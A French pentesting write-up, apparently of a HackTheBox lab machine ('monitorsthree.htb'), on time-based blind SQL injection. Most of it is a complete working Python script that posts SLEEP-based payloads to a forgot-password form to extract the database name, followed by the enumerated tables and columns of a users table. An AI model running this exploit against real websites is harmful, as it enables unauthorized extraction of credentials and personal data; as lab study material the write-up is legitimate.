SQLI (Time Based) - Pentesting Web

Automatisation de l'exploitation avec un script Python

Nous avons développé un script Python pour automatiser l'extraction des données via l'injection SQL. Le script a permis d'extraire le nom de la base de données, les noms des tables, des colonnes, et finalement les données sensibles comme les noms d'utilisateur et les mots de passe.

Base de données:

Exemple de script pour extraire le nom de la base de données :

python3 exploit.py --url http://monitorsthree.htb/forgot_password.php --delay 1
import sys
import signal
import time
import string
import requests
import argparse
import logging

# Configuration des logs
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("\n\n[!] Exiting...\n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def sqli(target_url, delay=1):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info("Starting SQL injection attack...")
    
    for position in range(1, 100):
        character_found = False  # Indicateur pour vérifier si un caractère a été trouvé
        
        for character in characters:
            payload = {
                'username': f"admin' AND IF(SUBSTR(database(),{position},1)='{character}',SLEEP({delay}),1)-- -",
                'password': 'admin'
            }
            
            logger.debug(f"Testing: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"Request failed: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Extracted data so far: {extracted_data}")
                character_found = True  # Un caractère a été trouvé
                break
        
        # Si aucun caractère n'a été trouvé pour cette position, on arrête la boucle
        if not character_found:
            logger.info(f"No character found at position {position}. Ending extraction.")
            break
    
    logger.info("SQL injection completed!")
    logger.info(f"Final extracted data: {extracted_data}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Perform a time-based SQL injection attack.")
    parser.add_argument("--url", required=True, help="Target URL for the SQL injection")
    parser.add_argument("--delay", type=float, default=0.85, help="Delay time for the SQL injection")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
  • Nom de la base de données : monitorsthree_db

Bases de données:

information_schema, monitorthree_db

Tables:

  • Tables : invoices, customers, changelog, tasks, invoice_tasks, users

Colonnes:

  • Colonnes de la table users : id, username, email, password, name, position, dob, start_date, salary

Données extraites :

Mis à jour

Ce contenu vous a-t-il été utile ?